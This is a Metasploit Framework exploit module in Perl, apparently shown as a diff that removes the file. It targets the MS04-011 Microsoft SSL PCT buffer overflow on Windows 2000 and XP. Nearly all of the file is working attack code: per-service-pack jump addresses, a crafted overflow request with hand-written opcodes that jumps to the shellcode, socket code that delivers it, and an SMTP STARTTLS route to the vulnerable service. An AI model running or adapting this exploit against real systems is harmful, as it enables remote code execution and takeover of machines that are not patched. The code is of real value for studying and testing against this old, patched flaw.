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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::windows_ssl_pct;
- use base "Msf::Exploit";
- use strict;
- use Pex::Text;
-
- my $advanced = { };
-
- my $info =
- {
- 'Name' => 'Microsoft SSL PCT MS04-011 Overflow',
- 'Version' => '$Revision: 1.19 $',
- 'Authors' =>
- [
- 'H D Moore <hdm [at] metasploit.com>',
- 'Johnny Cyberpunk <jcyberpunk [at] thc.org> [Unknown License]'
- ],
-
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'win32', 'win2000', 'winxp' ],
- 'Priv' => 1,
-
- 'AutoOpts' => { 'EXITFUNC' => 'thread' },
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 443],
- 'PROTO' => [0, 'DATA', 'The application protocol (raw or smtp)', 'raw'],
- },
-
- 'Payload' =>
- {
- 'MinNops' => 0,
- 'MaxNops' => 0,
- 'Space' => 1800,
- 'BadChars' => '',
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This module exploits a buffer overflow in the Microsoft Windows SSL PCT
- protocol stack. This code is based on Johnny Cyberpunk's THC release
- and has been tested against Windows 2000 and Windows XP. To use this module,
- specify the remote port of any SSL service, or the port and protocol of
- an application that uses SSL. The only application protocol supported at
- this time is SMTP. You only have one chance to select the correct target,
- if you are attacking IIS, you may want to try one of the other exploits
- first (WebDAV). If WebDAV does not work, this more than likely means that
- this is either Windows 2000 SP4+ or Windows XP (IIS 5.0 vs IIS 5.1). Using
- the wrong target may not result in an immediate crash of the remote system.
- }),
-
- 'Refs' =>
- [
- ['OSVDB', '5250'],
- ['MSB', 'MS04-011'],
- ['MIL', '77'],
- ],
-
- 'Targets' =>
- [
- ['Windows 2000 SP4', 0x67419ce8], # jmp [esp + 0x6c]
- ['Windows 2000 SP3', 0x67419e1d], # jmp [esp + 0x6c]
- ['Windows 2000 SP2', 0x6741a426], # jmp [esp + 0x6c]
- ['Windows 2000 SP1', 0x77e4f44d], # jmp [ebx + 0x14]
- ['Windows 2000 SP0', 0x7658a6cb], # jmp [ebx + 0x0e]
- ['Windows XP SP0', 0x0ffb7de9], # jmp [esp + 0x6c]
- ['Windows XP SP1', 0x0ffb832f], # jmp [esp + 0x6c]
- ['Debugging Target', 0x01020304], # -----------------
- ],
-
- 'Keys' => ['ssl', 'lsass'],
-
- 'DisclosureDate' => 'Apr 13 2004',
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Exploit {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $target_idx = $self->GetVar('TARGET');
- my $shellcode = $self->GetVar('EncodedPayload')->Payload;
-
- my $proto = $self->GetVar('PROTO');
- my $target = $self->Targets->[$target_idx];
-
- $self->PrintLine("[*] Attempting to exploit target " . $target->[0]);
-
- # this is a heap ptr to the ssl request
- # ... and just happens to not die
- # thanks to Core ST, Halvar, JohnnyC :)
- #
- # 80620101 => and byte ptr [esi+1], 0x2
- # bd00010001 => mov ebp, 0x1000100
- # 0016 => add [esi], dl
- # 8f8201000000 => pop [esi+1]
- # eb0f => jmp short 11 to shellcode
-
- my $request =
- "\x80\x66\x01\x02\xbd\x00\x01\x00\x01\x00\x16\x8f\x86\x01\x00\x00\x00".
- "\xeb\x0f".'XXXXXXXXXXX'.pack('V', ($target->[1] ^ 0xffffffff)).
- $shellcode;
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => 0,
- );
-
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- my $res;
-
- # Exploit via SMTP and STARTTLS
- if ($proto =~ /smtp/i) {
- $res = $s->Recv(-1, 45);
- $res =~ s/\r|\n//g;
- $self->PrintLine("[*] REMOTE> $res");
-
- $s->Send("HELO METASPLOIT.COM\r\n");
- $res = $s->Recv(-1, 5);
- $res =~ s/\r|\n//g;
- $self->PrintLine("[*] REMOTE> $res");
-
- $s->Send("STARTTLS\r\n");
- $res = $s->Recv(-1, 5);
- $res =~ s/\r|\n//g;
- $self->PrintLine("[*] REMOTE> $res");
-
- if ($res !~ /^220.*SMTP server ready/) {
- $self->PrintLine("[*] Invalid response to STARTTLS");
- return(0);
- }
- }
-
- $self->PrintLine("[*] Sending " .length($request) . " bytes to remote host.");
- $s->Send($request);
-
- $self->PrintLine("[*] Waiting for a response...");
- $res = $s->Recv(-1, 5);
-
- if ($res && $res eq "\x00\x00\x01") {
- $self->PrintLine("[*] Response indicates that PCT is disabled");
- }
-
- return(0);
- }
-